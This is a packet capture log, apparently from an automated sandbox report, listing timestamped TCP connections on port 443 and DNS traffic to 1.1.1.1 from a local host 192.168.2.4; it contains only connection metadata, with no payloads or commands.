May 24, 2024 07:45:25.241563082 CEST	443	49746	104.17.24.14	192.168.2.4
May 24, 2024 07:45:25.242526054 CEST	49746	443	192.168.2.4	104.17.24.14
May 24, 2024 07:45:25.243732929 CEST	49746	443	192.168.2.4	104.17.24.14
May 24, 2024 07:45:25.243746042 CEST	443	49746	104.17.24.14	192.168.2.4
May 24, 2024 07:45:25.271064043 CEST	49747	443	192.168.2.4	13.107.213.67
May 24, 2024 07:45:25.271066904 CEST	49748	443	192.168.2.4	13.107.213.67
May 24, 2024 07:45:25.271085024 CEST	443	49747	13.107.213.67	192.168.2.4
May 24, 2024 07:45:25.271095037 CEST	443	49748	13.107.213.67	192.168.2.4
May 24, 2024 07:45:25.271282911 CEST	49747	443	192.168.2.4	13.107.213.67
May 24, 2024 07:45:25.271284103 CEST	49748	443	192.168.2.4	13.107.213.67
May 24, 2024 07:45:25.271821976 CEST	49749	443	192.168.2.4	13.107.213.67
May 24, 2024 07:45:25.271830082 CEST	443	49749	13.107.213.67	192.168.2.4
May 24, 2024 07:45:25.272437096 CEST	49748	443	192.168.2.4	13.107.213.67
May 24, 2024 07:45:25.272440910 CEST	49747	443	192.168.2.4	13.107.213.67
May 24, 2024 07:45:25.272447109 CEST	443	49748	13.107.213.67	192.168.2.4
May 24, 2024 07:45:25.272454023 CEST	443	49747	13.107.213.67	192.168.2.4
May 24, 2024 07:45:25.272494078 CEST	49749	443	192.168.2.4	13.107.213.67
May 24, 2024 07:45:25.272931099 CEST	49749	443	192.168.2.4	13.107.213.67
May 24, 2024 07:45:25.272945881 CEST	443	49749	13.107.213.67	192.168.2.4
May 24, 2024 07:45:25.499177933 CEST	443	49745	23.43.61.160	192.168.2.4
May 24, 2024 07:45:25.499485016 CEST	49745	443	192.168.2.4	23.43.61.160
May 24, 2024 07:45:25.502815008 CEST	49745	443	192.168.2.4	23.43.61.160
May 24, 2024 07:45:25.502820015 CEST	443	49745	23.43.61.160	192.168.2.4
May 24, 2024 07:45:25.503092051 CEST	443	49745	23.43.61.160	192.168.2.4
May 24, 2024 07:45:25.521045923 CEST	49745	443	192.168.2.4	23.43.61.160
May 24, 2024 07:45:25.566497087 CEST	443	49745	23.43.61.160	192.168.2.4
May 24, 2024 07:45:25.576828957 CEST	49750	443	192.168.2.4	132.148.128.8
May 24, 2024 07:45:25.576849937 CEST	443	49750	132.148.128.8	192.168.2.4
May 24, 2024 07:45:25.581365108 CEST	49750	443	192.168.2.4	132.148.128.8
May 24, 2024 07:45:25.582694054 CEST	49750	443	192.168.2.4	132.148.128.8
May 24, 2024 07:45:25.582710981 CEST	443	49750	132.148.128.8	192.168.2.4
May 24, 2024 07:45:25.735570908 CEST	443	49746	104.17.24.14	192.168.2.4
May 24, 2024 07:45:25.747582912 CEST	49746	443	192.168.2.4	104.17.24.14
May 24, 2024 07:45:25.747606993 CEST	443	49746	104.17.24.14	192.168.2.4
May 24, 2024 07:45:25.748593092 CEST	443	49746	104.17.24.14	192.168.2.4
May 24, 2024 07:45:25.749027967 CEST	49746	443	192.168.2.4	104.17.24.14
May 24, 2024 07:45:25.749052048 CEST	49746	443	192.168.2.4	104.17.24.14
May 24, 2024 07:45:25.749114990 CEST	443	49746	104.17.24.14	192.168.2.4
May 24, 2024 07:45:25.749321938 CEST	49746	443	192.168.2.4	104.17.24.14
May 24, 2024 07:45:25.777179003 CEST	443	49745	23.43.61.160	192.168.2.4
May 24, 2024 07:45:25.777313948 CEST	443	49745	23.43.61.160	192.168.2.4
May 24, 2024 07:45:25.777951002 CEST	49745	443	192.168.2.4	23.43.61.160
May 24, 2024 07:45:25.778517962 CEST	49745	443	192.168.2.4	23.43.61.160
May 24, 2024 07:45:25.778517962 CEST	49745	443	192.168.2.4	23.43.61.160
May 24, 2024 07:45:25.778525114 CEST	443	49745	23.43.61.160	192.168.2.4
May 24, 2024 07:45:25.778532028 CEST	443	49745	23.43.61.160	192.168.2.4
May 24, 2024 07:45:25.790498018 CEST	443	49746	104.17.24.14	192.168.2.4
May 24, 2024 07:45:25.791466951 CEST	49746	443	192.168.2.4	104.17.24.14
May 24, 2024 07:45:25.791481018 CEST	443	49746	104.17.24.14	192.168.2.4
May 24, 2024 07:45:25.839340925 CEST	49746	443	192.168.2.4	104.17.24.14
May 24, 2024 07:45:25.872555971 CEST	443	49746	104.17.24.14	192.168.2.4
May 24, 2024 07:45:25.872663021 CEST	443	49746	104.17.24.14	192.168.2.4
May 24, 2024 07:45:25.872693062 CEST	443	49746	104.17.24.14	192.168.2.4
May 24, 2024 07:45:25.873001099 CEST	443	49746	104.17.24.14	192.168.2.4
May 24, 2024 07:45:25.873003006 CEST	49746	443	192.168.2.4	104.17.24.14
May 24, 2024 07:45:25.873012066 CEST	443	49746	104.17.24.14	192.168.2.4
May 24, 2024 07:45:25.873356104 CEST	49746	443	192.168.2.4	104.17.24.14
May 24, 2024 07:45:25.873366117 CEST	443	49746	104.17.24.14	192.168.2.4
May 24, 2024 07:45:25.874092102 CEST	49746	443	192.168.2.4	104.17.24.14
May 24, 2024 07:45:25.874099016 CEST	443	49746	104.17.24.14	192.168.2.4
May 24, 2024 07:45:25.874944925 CEST	443	49746	104.17.24.14	192.168.2.4
May 24, 2024 07:45:25.875349998 CEST	49746	443	192.168.2.4	104.17.24.14
May 24, 2024 07:45:25.875359058 CEST	443	49746	104.17.24.14	192.168.2.4
May 24, 2024 07:45:25.877458096 CEST	443	49746	104.17.24.14	192.168.2.4
May 24, 2024 07:45:25.877684116 CEST	49746	443	192.168.2.4	104.17.24.14
May 24, 2024 07:45:25.877691031 CEST	443	49746	104.17.24.14	192.168.2.4
May 24, 2024 07:45:25.919214964 CEST	49746	443	192.168.2.4	104.17.24.14
May 24, 2024 07:45:25.919224024 CEST	443	49746	104.17.24.14	192.168.2.4
May 24, 2024 07:45:25.958374977 CEST	443	49747	13.107.213.67	192.168.2.4
May 24, 2024 07:45:25.958715916 CEST	49747	443	192.168.2.4	13.107.213.67
May 24, 2024 07:45:25.958739042 CEST	443	49747	13.107.213.67	192.168.2.4
May 24, 2024 07:45:25.959635019 CEST	443	49747	13.107.213.67	192.168.2.4
May 24, 2024 07:45:25.959964037 CEST	49747	443	192.168.2.4	13.107.213.67
May 24, 2024 07:45:25.962287903 CEST	443	49749	13.107.213.67	192.168.2.4
May 24, 2024 07:45:25.962502003 CEST	49749	443	192.168.2.4	13.107.213.67
May 24, 2024 07:45:25.962515116 CEST	443	49749	13.107.213.67	192.168.2.4
May 24, 2024 07:45:25.963454008 CEST	443	49749	13.107.213.67	192.168.2.4
May 24, 2024 07:45:25.963531971 CEST	49749	443	192.168.2.4	13.107.213.67
May 24, 2024 07:45:25.966160059 CEST	49746	443	192.168.2.4	104.17.24.14
May 24, 2024 07:45:25.967520952 CEST	443	49746	104.17.24.14	192.168.2.4
May 24, 2024 07:45:25.979089022 CEST	443	49746	104.17.24.14	192.168.2.4
May 24, 2024 07:45:25.979120970 CEST	443	49746	104.17.24.14	192.168.2.4
May 24, 2024 07:45:25.979229927 CEST	49746	443	192.168.2.4	104.17.24.14
May 24, 2024 07:45:25.979238987 CEST	443	49746	104.17.24.14	192.168.2.4
May 24, 2024 07:45:25.979332924 CEST	49746	443	192.168.2.4	104.17.24.14
May 24, 2024 07:45:25.985783100 CEST	443	49746	104.17.24.14	192.168.2.4
May 24, 2024 07:45:25.993441105 CEST	443	49746	104.17.24.14	192.168.2.4
May 24, 2024 07:45:25.993618965 CEST	49746	443	192.168.2.4	104.17.24.14
May 24, 2024 07:45:25.993628025 CEST	443	49746	104.17.24.14	192.168.2.4
May 24, 2024 07:45:25.996890068 CEST	443	49746	104.17.24.14	192.168.2.4
May 24, 2024 07:45:25.997145891 CEST	49746	443	192.168.2.4	104.17.24.14
May 24, 2024 07:45:25.997153044 CEST	443	49746	104.17.24.14	192.168.2.4
May 24, 2024 07:45:26.010024071 CEST	443	49746	104.17.24.14	192.168.2.4
May 24, 2024 07:45:26.010046959 CEST	443	49746	104.17.24.14	192.168.2.4
May 24, 2024 07:45:26.010071039 CEST	443	49746	104.17.24.14	192.168.2.4
May 24, 2024 07:45:26.010072947 CEST	49746	443	192.168.2.4	104.17.24.14
May 24, 2024 07:45:26.010080099 CEST	443	49746	104.17.24.14	192.168.2.4
May 24, 2024 07:45:26.010149002 CEST	49746	443	192.168.2.4	104.17.24.14
May 24, 2024 07:45:26.015851021 CEST	443	49746	104.17.24.14	192.168.2.4
May 24, 2024 07:45:26.016051054 CEST	49746	443	192.168.2.4	104.17.24.14
May 24, 2024 07:45:26.021651030 CEST	443	49746	104.17.24.14	192.168.2.4
May 24, 2024 07:45:26.021718025 CEST	443	49746	104.17.24.14	192.168.2.4
May 24, 2024 07:45:26.021827936 CEST	49746	443	192.168.2.4	104.17.24.14
May 24, 2024 07:45:26.021837950 CEST	443	49746	104.17.24.14	192.168.2.4
May 24, 2024 07:45:26.027343035 CEST	443	49746	104.17.24.14	192.168.2.4
May 24, 2024 07:45:26.027832985 CEST	49746	443	192.168.2.4	104.17.24.14
May 24, 2024 07:45:26.028147936 CEST	49746	443	192.168.2.4	104.17.24.14
May 24, 2024 07:45:26.028165102 CEST	443	49746	104.17.24.14	192.168.2.4
May 24, 2024 07:45:26.074213028 CEST	49747	443	192.168.2.4	13.107.213.67
May 24, 2024 07:45:26.074333906 CEST	49749	443	192.168.2.4	13.107.213.67
May 24, 2024 07:45:26.074383020 CEST	443	49747	13.107.213.67	192.168.2.4
May 24, 2024 07:45:26.074475050 CEST	443	49749	13.107.213.67	192.168.2.4
May 24, 2024 07:45:26.074531078 CEST	49747	443	192.168.2.4	13.107.213.67
May 24, 2024 07:45:26.074552059 CEST	443	49747	13.107.213.67	192.168.2.4
May 24, 2024 07:45:26.074577093 CEST	49749	443	192.168.2.4	13.107.213.67
May 24, 2024 07:45:26.074599028 CEST	443	49749	13.107.213.67	192.168.2.4
May 24, 2024 07:45:26.139863014 CEST	49747	443	192.168.2.4	13.107.213.67
May 24, 2024 07:45:26.140037060 CEST	49749	443	192.168.2.4	13.107.213.67
May 24, 2024 07:45:26.175677061 CEST	443	49747	13.107.213.67	192.168.2.4
May 24, 2024 07:45:26.175735950 CEST	443	49747	13.107.213.67	192.168.2.4
May 24, 2024 07:45:26.175786972 CEST	49747	443	192.168.2.4	13.107.213.67
May 24, 2024 07:45:26.180516005 CEST	443	49749	13.107.213.67	192.168.2.4
May 24, 2024 07:45:26.180574894 CEST	443	49749	13.107.213.67	192.168.2.4
May 24, 2024 07:45:26.180728912 CEST	49749	443	192.168.2.4	13.107.213.67
May 24, 2024 07:45:26.196126938 CEST	443	49750	132.148.128.8	192.168.2.4
May 24, 2024 07:45:26.199551105 CEST	49750	443	192.168.2.4	132.148.128.8
May 24, 2024 07:45:26.199567080 CEST	443	49750	132.148.128.8	192.168.2.4
May 24, 2024 07:45:26.203123093 CEST	443	49750	132.148.128.8	192.168.2.4
May 24, 2024 07:45:26.203190088 CEST	49750	443	192.168.2.4	132.148.128.8
May 24, 2024 07:45:26.215723038 CEST	443	49748	13.107.213.67	192.168.2.4
May 24, 2024 07:45:26.266123056 CEST	49748	443	192.168.2.4	13.107.213.67
May 24, 2024 07:45:26.270617008 CEST	49748	443	192.168.2.4	13.107.213.67
May 24, 2024 07:45:26.270632029 CEST	443	49748	13.107.213.67	192.168.2.4
May 24, 2024 07:45:26.270979881 CEST	49750	443	192.168.2.4	132.148.128.8
May 24, 2024 07:45:26.271138906 CEST	443	49750	132.148.128.8	192.168.2.4
May 24, 2024 07:45:26.271920919 CEST	49750	443	192.168.2.4	132.148.128.8
May 24, 2024 07:45:26.271939039 CEST	443	49750	132.148.128.8	192.168.2.4
May 24, 2024 07:45:26.273109913 CEST	443	49748	13.107.213.67	192.168.2.4
May 24, 2024 07:45:26.273180962 CEST	49748	443	192.168.2.4	13.107.213.67
May 24, 2024 07:45:26.276390076 CEST	49748	443	192.168.2.4	13.107.213.67
May 24, 2024 07:45:26.276566982 CEST	443	49748	13.107.213.67	192.168.2.4
May 24, 2024 07:45:26.276746035 CEST	49748	443	192.168.2.4	13.107.213.67
May 24, 2024 07:45:26.276756048 CEST	443	49748	13.107.213.67	192.168.2.4
May 24, 2024 07:45:26.312885046 CEST	49750	443	192.168.2.4	132.148.128.8
May 24, 2024 07:45:26.328480959 CEST	49748	443	192.168.2.4	13.107.213.67
May 24, 2024 07:45:26.383675098 CEST	443	49748	13.107.213.67	192.168.2.4
May 24, 2024 07:45:26.383724928 CEST	443	49748	13.107.213.67	192.168.2.4
May 24, 2024 07:45:26.383815050 CEST	49748	443	192.168.2.4	13.107.213.67
May 24, 2024 07:45:26.383833885 CEST	443	49748	13.107.213.67	192.168.2.4
May 24, 2024 07:45:26.383872986 CEST	443	49748	13.107.213.67	192.168.2.4
May 24, 2024 07:45:26.384036064 CEST	49748	443	192.168.2.4	13.107.213.67
May 24, 2024 07:45:26.462800980 CEST	443	49750	132.148.128.8	192.168.2.4
May 24, 2024 07:45:26.463105917 CEST	443	49750	132.148.128.8	192.168.2.4
May 24, 2024 07:45:26.463169098 CEST	49750	443	192.168.2.4	132.148.128.8
May 24, 2024 07:45:29.771451950 CEST	49750	443	192.168.2.4	132.148.128.8
May 24, 2024 07:45:29.771476030 CEST	443	49750	132.148.128.8	192.168.2.4
May 24, 2024 07:45:29.894218922 CEST	49747	443	192.168.2.4	13.107.213.67
May 24, 2024 07:45:29.894252062 CEST	443	49747	13.107.213.67	192.168.2.4
May 24, 2024 07:45:29.897551060 CEST	49749	443	192.168.2.4	13.107.213.67
May 24, 2024 07:45:29.897578001 CEST	443	49749	13.107.213.67	192.168.2.4
May 24, 2024 07:45:29.901887894 CEST	49748	443	192.168.2.4	13.107.213.67
May 24, 2024 07:45:29.901896954 CEST	443	49748	13.107.213.67	192.168.2.4
May 24, 2024 07:45:30.022851944 CEST	49751	443	192.168.2.4	13.107.246.45
May 24, 2024 07:45:30.022880077 CEST	443	49751	13.107.246.45	192.168.2.4
May 24, 2024 07:45:30.023061037 CEST	49751	443	192.168.2.4	13.107.246.45
May 24, 2024 07:45:30.023271084 CEST	49752	443	192.168.2.4	13.107.246.45
May 24, 2024 07:45:30.023302078 CEST	443	49752	13.107.246.45	192.168.2.4
May 24, 2024 07:45:30.023346901 CEST	49752	443	192.168.2.4	13.107.246.45
May 24, 2024 07:45:30.023670912 CEST	49753	443	192.168.2.4	13.107.246.45
May 24, 2024 07:45:30.023678064 CEST	443	49753	13.107.246.45	192.168.2.4
May 24, 2024 07:45:30.023720980 CEST	49753	443	192.168.2.4	13.107.246.45
May 24, 2024 07:45:30.024243116 CEST	49753	443	192.168.2.4	13.107.246.45
May 24, 2024 07:45:30.024257898 CEST	443	49753	13.107.246.45	192.168.2.4
May 24, 2024 07:45:30.024476051 CEST	49752	443	192.168.2.4	13.107.246.45
May 24, 2024 07:45:30.024487019 CEST	443	49752	13.107.246.45	192.168.2.4
May 24, 2024 07:45:30.024610043 CEST	49751	443	192.168.2.4	13.107.246.45
May 24, 2024 07:45:30.024629116 CEST	443	49751	13.107.246.45	192.168.2.4
May 24, 2024 07:45:30.728504896 CEST	443	49751	13.107.246.45	192.168.2.4
May 24, 2024 07:45:30.735969067 CEST	443	49752	13.107.246.45	192.168.2.4
May 24, 2024 07:45:30.736010075 CEST	443	49753	13.107.246.45	192.168.2.4
May 24, 2024 07:45:30.737020016 CEST	49751	443	192.168.2.4	13.107.246.45
May 24, 2024 07:45:30.737039089 CEST	443	49751	13.107.246.45	192.168.2.4
May 24, 2024 07:45:30.737672091 CEST	49752	443	192.168.2.4	13.107.246.45
May 24, 2024 07:45:30.737683058 CEST	443	49752	13.107.246.45	192.168.2.4
May 24, 2024 07:45:30.737840891 CEST	49753	443	192.168.2.4	13.107.246.45
May 24, 2024 07:45:30.737848043 CEST	443	49753	13.107.246.45	192.168.2.4
May 24, 2024 07:45:30.738112926 CEST	443	49751	13.107.246.45	192.168.2.4
May 24, 2024 07:45:30.738181114 CEST	49751	443	192.168.2.4	13.107.246.45
May 24, 2024 07:45:30.738784075 CEST	443	49752	13.107.246.45	192.168.2.4
May 24, 2024 07:45:30.738838911 CEST	49752	443	192.168.2.4	13.107.246.45
May 24, 2024 07:45:30.739016056 CEST	443	49753	13.107.246.45	192.168.2.4
May 24, 2024 07:45:30.739056110 CEST	49751	443	192.168.2.4	13.107.246.45
May 24, 2024 07:45:30.739082098 CEST	49753	443	192.168.2.4	13.107.246.45
May 24, 2024 07:45:30.739125013 CEST	443	49751	13.107.246.45	192.168.2.4
May 24, 2024 07:45:30.740333080 CEST	49752	443	192.168.2.4	13.107.246.45
May 24, 2024 07:45:30.740400076 CEST	443	49752	13.107.246.45	192.168.2.4
May 24, 2024 07:45:30.740895033 CEST	49753	443	192.168.2.4	13.107.246.45
May 24, 2024 07:45:30.740962029 CEST	443	49753	13.107.246.45	192.168.2.4
May 24, 2024 07:45:30.741101980 CEST	49751	443	192.168.2.4	13.107.246.45
May 24, 2024 07:45:30.741111994 CEST	443	49751	13.107.246.45	192.168.2.4
May 24, 2024 07:45:30.741141081 CEST	49752	443	192.168.2.4	13.107.246.45
May 24, 2024 07:45:30.741147041 CEST	443	49752	13.107.246.45	192.168.2.4
May 24, 2024 07:45:30.741518974 CEST	49753	443	192.168.2.4	13.107.246.45
May 24, 2024 07:45:30.741527081 CEST	443	49753	13.107.246.45	192.168.2.4
May 24, 2024 07:45:30.803395033 CEST	49752	443	192.168.2.4	13.107.246.45
May 24, 2024 07:45:30.848552942 CEST	443	49751	13.107.246.45	192.168.2.4
May 24, 2024 07:45:30.848642111 CEST	49751	443	192.168.2.4	13.107.246.45
May 24, 2024 07:45:30.851425886 CEST	443	49752	13.107.246.45	192.168.2.4
May 24, 2024 07:45:30.851502895 CEST	443	49752	13.107.246.45	192.168.2.4
May 24, 2024 07:45:30.851551056 CEST	49752	443	192.168.2.4	13.107.246.45
May 24, 2024 07:45:30.851772070 CEST	49751	443	192.168.2.4	13.107.246.45
May 24, 2024 07:45:30.851794004 CEST	443	49751	13.107.246.45	192.168.2.4
May 24, 2024 07:45:30.855736017 CEST	443	49753	13.107.246.45	192.168.2.4
May 24, 2024 07:45:30.855796099 CEST	49753	443	192.168.2.4	13.107.246.45
May 24, 2024 07:45:30.855799913 CEST	443	49753	13.107.246.45	192.168.2.4
May 24, 2024 07:45:30.855869055 CEST	49753	443	192.168.2.4	13.107.246.45
May 24, 2024 07:45:30.856925964 CEST	49752	443	192.168.2.4	13.107.246.45
May 24, 2024 07:45:30.856945038 CEST	443	49752	13.107.246.45	192.168.2.4
May 24, 2024 07:45:30.859584093 CEST	49753	443	192.168.2.4	13.107.246.45
May 24, 2024 07:45:30.859592915 CEST	443	49753	13.107.246.45	192.168.2.4
May 24, 2024 07:45:32.929119110 CEST	443	49742	172.217.18.4	192.168.2.4
May 24, 2024 07:45:32.929193974 CEST	443	49742	172.217.18.4	192.168.2.4
May 24, 2024 07:45:32.929261923 CEST	49742	443	192.168.2.4	172.217.18.4
May 24, 2024 07:45:33.034833908 CEST	49742	443	192.168.2.4	172.217.18.4
May 24, 2024 07:45:33.034872055 CEST	443	49742	172.217.18.4	192.168.2.4
May 24, 2024 07:45:41.417026043 CEST	49764	443	192.168.2.4	104.18.3.35
May 24, 2024 07:45:41.417057037 CEST	443	49764	104.18.3.35	192.168.2.4
May 24, 2024 07:45:41.417156935 CEST	49764	443	192.168.2.4	104.18.3.35
May 24, 2024 07:45:41.417520046 CEST	49764	443	192.168.2.4	104.18.3.35
May 24, 2024 07:45:41.417532921 CEST	443	49764	104.18.3.35	192.168.2.4
May 24, 2024 07:45:41.918222904 CEST	443	49764	104.18.3.35	192.168.2.4
May 24, 2024 07:45:41.918683052 CEST	49764	443	192.168.2.4	104.18.3.35
May 24, 2024 07:45:41.918697119 CEST	443	49764	104.18.3.35	192.168.2.4
May 24, 2024 07:45:41.919789076 CEST	443	49764	104.18.3.35	192.168.2.4
May 24, 2024 07:45:41.920305967 CEST	49764	443	192.168.2.4	104.18.3.35
May 24, 2024 07:45:41.920489073 CEST	443	49764	104.18.3.35	192.168.2.4
May 24, 2024 07:45:41.967879057 CEST	49764	443	192.168.2.4	104.18.3.35
May 24, 2024 07:45:45.421365023 CEST	49765	443	192.168.2.4	132.148.128.8
May 24, 2024 07:45:45.421407938 CEST	443	49765	132.148.128.8	192.168.2.4
May 24, 2024 07:45:45.421529055 CEST	49765	443	192.168.2.4	132.148.128.8
May 24, 2024 07:45:45.426642895 CEST	49765	443	192.168.2.4	132.148.128.8
May 24, 2024 07:45:45.426662922 CEST	443	49765	132.148.128.8	192.168.2.4
May 24, 2024 07:45:46.034277916 CEST	443	49765	132.148.128.8	192.168.2.4
May 24, 2024 07:45:46.038410902 CEST	49765	443	192.168.2.4	132.148.128.8
May 24, 2024 07:45:46.038438082 CEST	443	49765	132.148.128.8	192.168.2.4
May 24, 2024 07:45:46.038958073 CEST	443	49765	132.148.128.8	192.168.2.4
May 24, 2024 07:45:46.046936989 CEST	49765	443	192.168.2.4	132.148.128.8
May 24, 2024 07:45:46.047029972 CEST	443	49765	132.148.128.8	192.168.2.4
May 24, 2024 07:45:46.047199965 CEST	49765	443	192.168.2.4	132.148.128.8
May 24, 2024 07:45:46.094502926 CEST	443	49765	132.148.128.8	192.168.2.4
May 24, 2024 07:45:46.312175035 CEST	443	49765	132.148.128.8	192.168.2.4
May 24, 2024 07:45:46.312311888 CEST	443	49765	132.148.128.8	192.168.2.4
May 24, 2024 07:45:46.312357903 CEST	49765	443	192.168.2.4	132.148.128.8
May 24, 2024 07:45:46.312784910 CEST	49765	443	192.168.2.4	132.148.128.8
May 24, 2024 07:45:46.312804937 CEST	443	49765	132.148.128.8	192.168.2.4
May 24, 2024 07:45:46.319533110 CEST	49766	443	192.168.2.4	132.148.128.8
May 24, 2024 07:45:46.319561005 CEST	443	49766	132.148.128.8	192.168.2.4
May 24, 2024 07:45:46.319614887 CEST	49766	443	192.168.2.4	132.148.128.8
May 24, 2024 07:45:46.320369959 CEST	49766	443	192.168.2.4	132.148.128.8
May 24, 2024 07:45:46.320384979 CEST	443	49766	132.148.128.8	192.168.2.4
May 24, 2024 07:45:46.964386940 CEST	443	49766	132.148.128.8	192.168.2.4
May 24, 2024 07:45:46.964765072 CEST	49766	443	192.168.2.4	132.148.128.8
May 24, 2024 07:45:46.964775085 CEST	443	49766	132.148.128.8	192.168.2.4
May 24, 2024 07:45:46.965256929 CEST	443	49766	132.148.128.8	192.168.2.4
May 24, 2024 07:45:46.965744019 CEST	49766	443	192.168.2.4	132.148.128.8
May 24, 2024 07:45:46.965821981 CEST	443	49766	132.148.128.8	192.168.2.4
May 24, 2024 07:45:46.965922117 CEST	49766	443	192.168.2.4	132.148.128.8
May 24, 2024 07:45:47.006506920 CEST	443	49766	132.148.128.8	192.168.2.4
May 24, 2024 07:45:47.216144085 CEST	443	49766	132.148.128.8	192.168.2.4
May 24, 2024 07:45:47.216294050 CEST	443	49766	132.148.128.8	192.168.2.4
May 24, 2024 07:45:47.217227936 CEST	49766	443	192.168.2.4	132.148.128.8
May 24, 2024 07:45:47.217622995 CEST	49766	443	192.168.2.4	132.148.128.8
May 24, 2024 07:45:47.217639923 CEST	443	49766	132.148.128.8	192.168.2.4
May 24, 2024 07:45:56.805874109 CEST	443	49764	104.18.3.35	192.168.2.4
May 24, 2024 07:45:56.806025028 CEST	443	49764	104.18.3.35	192.168.2.4
May 24, 2024 07:45:56.806072950 CEST	49764	443	192.168.2.4	104.18.3.35
May 24, 2024 07:45:57.055298090 CEST	49764	443	192.168.2.4	104.18.3.35
May 24, 2024 07:45:57.055327892 CEST	443	49764	104.18.3.35	192.168.2.4
May 24, 2024 07:46:07.160871983 CEST	49767	443	192.168.2.4	132.148.128.8
May 24, 2024 07:46:07.160912037 CEST	443	49767	132.148.128.8	192.168.2.4
May 24, 2024 07:46:07.161066055 CEST	49767	443	192.168.2.4	132.148.128.8
May 24, 2024 07:46:07.161931992 CEST	49767	443	192.168.2.4	132.148.128.8
May 24, 2024 07:46:07.161948919 CEST	443	49767	132.148.128.8	192.168.2.4
May 24, 2024 07:46:07.755548000 CEST	443	49767	132.148.128.8	192.168.2.4
May 24, 2024 07:46:07.755958080 CEST	49767	443	192.168.2.4	132.148.128.8
May 24, 2024 07:46:07.755987883 CEST	443	49767	132.148.128.8	192.168.2.4
May 24, 2024 07:46:07.757102013 CEST	443	49767	132.148.128.8	192.168.2.4
May 24, 2024 07:46:07.757483006 CEST	49767	443	192.168.2.4	132.148.128.8
May 24, 2024 07:46:07.757657051 CEST	443	49767	132.148.128.8	192.168.2.4
May 24, 2024 07:46:07.757749081 CEST	49767	443	192.168.2.4	132.148.128.8
May 24, 2024 07:46:07.798549891 CEST	443	49767	132.148.128.8	192.168.2.4
May 24, 2024 07:46:07.811914921 CEST	49767	443	192.168.2.4	132.148.128.8
May 24, 2024 07:46:08.016104937 CEST	443	49767	132.148.128.8	192.168.2.4
May 24, 2024 07:46:08.016356945 CEST	443	49767	132.148.128.8	192.168.2.4
May 24, 2024 07:46:08.018184900 CEST	49767	443	192.168.2.4	132.148.128.8
May 24, 2024 07:46:08.024694920 CEST	49767	443	192.168.2.4	132.148.128.8
May 24, 2024 07:46:08.024719954 CEST	443	49767	132.148.128.8	192.168.2.4
May 24, 2024 07:46:08.029215097 CEST	49768	443	192.168.2.4	132.148.128.8
May 24, 2024 07:46:08.029262066 CEST	443	49768	132.148.128.8	192.168.2.4
May 24, 2024 07:46:08.029455900 CEST	49768	443	192.168.2.4	132.148.128.8
May 24, 2024 07:46:08.030796051 CEST	49768	443	192.168.2.4	132.148.128.8
May 24, 2024 07:46:08.030821085 CEST	443	49768	132.148.128.8	192.168.2.4
May 24, 2024 07:46:08.681186914 CEST	443	49768	132.148.128.8	192.168.2.4
May 24, 2024 07:46:08.681518078 CEST	49768	443	192.168.2.4	132.148.128.8
May 24, 2024 07:46:08.681545973 CEST	443	49768	132.148.128.8	192.168.2.4
May 24, 2024 07:46:08.682696104 CEST	443	49768	132.148.128.8	192.168.2.4
May 24, 2024 07:46:08.682997942 CEST	49768	443	192.168.2.4	132.148.128.8
May 24, 2024 07:46:08.683144093 CEST	49768	443	192.168.2.4	132.148.128.8
May 24, 2024 07:46:08.683171988 CEST	443	49768	132.148.128.8	192.168.2.4
May 24, 2024 07:46:08.735481977 CEST	49768	443	192.168.2.4	132.148.128.8
May 24, 2024 07:46:08.979448080 CEST	443	49768	132.148.128.8	192.168.2.4
May 24, 2024 07:46:08.979696989 CEST	443	49768	132.148.128.8	192.168.2.4
May 24, 2024 07:46:08.979756117 CEST	49768	443	192.168.2.4	132.148.128.8
May 24, 2024 07:46:08.980003119 CEST	49768	443	192.168.2.4	132.148.128.8
May 24, 2024 07:46:08.980022907 CEST	443	49768	132.148.128.8	192.168.2.4
May 24, 2024 07:46:21.242161989 CEST	51212	53	192.168.2.4	1.1.1.1
May 24, 2024 07:46:21.247215033 CEST	53	51212	1.1.1.1	192.168.2.4
May 24, 2024 07:46:21.247283936 CEST	51212	53	192.168.2.4	1.1.1.1
May 24, 2024 07:46:21.247342110 CEST	51212	53	192.168.2.4	1.1.1.1
May 24, 2024 07:46:21.299931049 CEST	53	51212	1.1.1.1	192.168.2.4
May 24, 2024 07:46:21.703192949 CEST	53	51212	1.1.1.1	192.168.2.4
May 24, 2024 07:46:21.704071045 CEST	51212	53	192.168.2.4	1.1.1.1
May 24, 2024 07:46:21.710129976 CEST	53	51212	1.1.1.1	192.168.2.4
May 24, 2024 07:46:21.710195065 CEST	51212	53	192.168.2.4	1.1.1.1
May 24, 2024 07:46:22.267014027 CEST	51214	443	192.168.2.4	172.217.18.4
May 24, 2024 07:46:22.267054081 CEST	443	51214	172.217.18.4	192.168.2.4
May 24, 2024 07:46:22.267849922 CEST	51214	443	192.168.2.4	172.217.18.4
May 24, 2024 07:46:22.268085003 CEST	51214	443	192.168.2.4	172.217.18.4
May 24, 2024 07:46:22.268095016 CEST	443	51214	172.217.18.4	192.168.2.4
May 24, 2024 07:46:23.004863977 CEST	443	51214	172.217.18.4	192.168.2.4
May 24, 2024 07:46:23.005192041 CEST	51214	443	192.168.2.4	172.217.18.4
May 24, 2024 07:46:23.005212069 CEST	443	51214	172.217.18.4	192.168.2.4
May 24, 2024 07:46:23.005651951 CEST	443	51214	172.217.18.4	192.168.2.4
May 24, 2024 07:46:23.006968021 CEST	51214	443	192.168.2.4	172.217.18.4
May 24, 2024 07:46:23.007038116 CEST	443	51214	172.217.18.4	192.168.2.4
May 24, 2024 07:46:23.062355042 CEST	51214	443	192.168.2.4	172.217.18.4
May 24, 2024 07:46:32.896260023 CEST	443	51214	172.217.18.4	192.168.2.4
May 24, 2024 07:46:32.896434069 CEST	443	51214	172.217.18.4	192.168.2.4
May 24, 2024 07:46:32.896528959 CEST	51214	443	192.168.2.4	172.217.18.4
May 24, 2024 07:46:33.032784939 CEST	51214	443	192.168.2.4	172.217.18.4
May 24, 2024 07:46:33.032821894 CEST	443	51214	172.217.18.4	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 24, 2024 07:45:18.850625992 CEST	53	62770	1.1.1.1	192.168.2.4
May 24, 2024 07:45:18.850636005 CEST	53	56318	1.1.1.1	192.168.2.4
May 24, 2024 07:45:19.887630939 CEST	53	56724	1.1.1.1	192.168.2.4
May 24, 2024 07:45:19.927928925 CEST	63696	53	192.168.2.4	1.1.1.1
May 24, 2024 07:45:19.928215027 CEST	62791	53	192.168.2.4	1.1.1.1
May 24, 2024 07:45:19.951601982 CEST	53	62791	1.1.1.1	192.168.2.4
May 24, 2024 07:45:19.951625109 CEST	53	63696	1.1.1.1	192.168.2.4
